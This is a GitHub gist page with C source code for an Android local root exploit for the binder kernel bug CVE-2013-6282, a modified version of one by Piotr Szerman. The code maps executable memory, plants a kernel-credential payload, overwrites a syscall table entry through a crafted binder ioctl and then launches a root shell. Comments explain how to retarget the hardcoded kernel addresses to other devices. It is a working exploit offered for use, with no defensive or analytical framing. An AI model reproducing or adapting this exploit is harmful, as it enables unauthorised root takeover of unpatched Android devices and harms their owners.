Skip to content

Instantly share code, notes, and snippets.

Created August 10, 2016 11:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/2fedccf0e04903735148a0e726f1fe00 to your computer and use it in GitHub Desktop.
Save anonymous/2fedccf0e04903735148a0e726f1fe00 to your computer and use it in GitHub Desktop.
/*Modified version of exploit by Piotr Szerman
*Changes:
*- different adresses used
*- different shell code used
*/
/*
* Just a lame binder local root exploit stub. Somewhat messy but whatever. The bug was reported in CVE-2013-6282.
*
* Tested on Android 4.2.2 and 4.4. Kernels 3.0.57, 3.4.5 and few more. All up to 3.4.5 unpatched should be vulnerable.
* You need to customize the addresses so that they match the target board. On Android, both /proc/kallsyms and dmesg are
* restricted, thus no automation here.
*
* Rigged up by Piotr Szerman. (c) 2013
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
/* Binder transaction request format */
struct binder_write_read {
signed long write_size; /* bytes to write */
signed long write_consumed; /* bytes consumed by driver */
unsigned long write_buffer;
signed long read_size; /* bytes to read */
signed long read_consumed; /* bytes consumed by driver */
unsigned long read_buffer;
} bwr;
#define BR_NOOP 0x0000720c /* binder memory write value */
#define SC_TABLE 0xc00352a8
/* system call table address */
/* we need to know the lower halfword of the original address of sys_ni_syscall to tailor MMAP_AREA and MMAP_OFF accordingly.
* you can aid yourself with a NOP block. the higher halfword will in any case become 0x720c. on one of my boxes, the other
* halfword was 0xdac4. MMAP_AREA must be aligned appropriately. you can extract all the data in question at runtime from
* /proc/kallsyms and dmesg (not that hard to set off infoleaks with this bug) as long as there are no contraints in place
*/
#define MMAP_AREA 0x720c7000
/* userspace landing point page-aligned address. */
#define MMAP_OFF 0xf2c
/* offset within it to plant the payload */
#define NUM_PAGES 16
#define PAGE_SIZE 4096
#define NOP 0xe1a00000 /* mov r0, r0 */
#define SHELL "/system/bin/sh"
#define TARGET_APERTURE 68 /* aiming for two adjacent non-implemented syscalls. check arch/arm/kernel/calls.S */
#define BINDER_WRITE_READ 0xc0186201 /* printk your BINDER_WRITE_READ ;) */
/* the target payload */
void shellcode(void)
{
void (* printk)(void*);
printk =(void*) 0xc051ca10;
printk("hey/n");
int (* commit_creds)(void*);
void* (* prepare_kernel_cred)(void*);
prepare_kernel_cred = (void*)0xc007d08c;
commit_creds = (void*)0xc007cc9c;
commit_creds(prepare_kernel_cred(0));
return;
}
int
main(int ac, char **av)
{
char * const shell[] = { SHELL, NULL };
char *map;
int fd;
fprintf(stderr, "[!] binder local root exploit\n[!] (c) piotr szerman\n");
fd = open("/dev/binder", O_RDWR);
if(fd < 0)
{
fprintf(stderr, "[-] failed to reach out for binder. (%s)\n", strerror(errno));
exit(EXIT_FAILURE);
}
map = mmap((void *)MMAP_AREA, NUM_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_LOCKED, 0, 0);
if(map == (void *)-1)
{
perror("mmap() ");
exit(EXIT_FAILURE);
}
fprintf(stderr, "[+] userspace map area == 0x%08lx\n", (unsigned long)map);
fprintf(stderr, "[+] placing NOP block at 0x%08lx\n", (unsigned long)map);
memset(map, NOP, MMAP_OFF);
fprintf(stderr, "[+] copying payload to 0x%08lx\n", (unsigned long)map + MMAP_OFF);
/* look at the objdump of shellcode to see the correct offset */
memcpy(map + MMAP_OFF, (unsigned char *)shellcode + 8 /* offseting to the __transgressor */, 30 * sizeof(void *) /* copy all opcodes */);
fprintf(stderr, "[+] constructing rogue data structure.\n");
bwr.write_size = 0;
bwr.write_consumed = 0;
bwr.read_size = 1;
bwr.read_consumed = 0;
/* targeting the aperture between 2 undefined system calls in the table */
bwr.read_buffer = (unsigned long)((unsigned char *)SC_TABLE + TARGET_APERTURE * sizeof(void *) + 2);
/* calculate process descriptor address with the aid of sp:
* task_struct = *( ((unsigned long *) ( (sp & ~(0xbf000000 - 1)) & ~0x3f )) + 3);
*/
ioctl(fd, BINDER_WRITE_READ, &bwr);
close(fd);
sleep(5); /* give binder ample time to service the transaction. if it's under heavy load, the exploit might fail */
fprintf(stderr, "[+] r00ting device...\n\n");
asm volatile(
"mov r7, %0\n\t"
"swi 0\n\t"
: : "I" (TARGET_APERTURE)
);
execve(shell[0], shell, NULL);
return EXIT_FAILURE;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment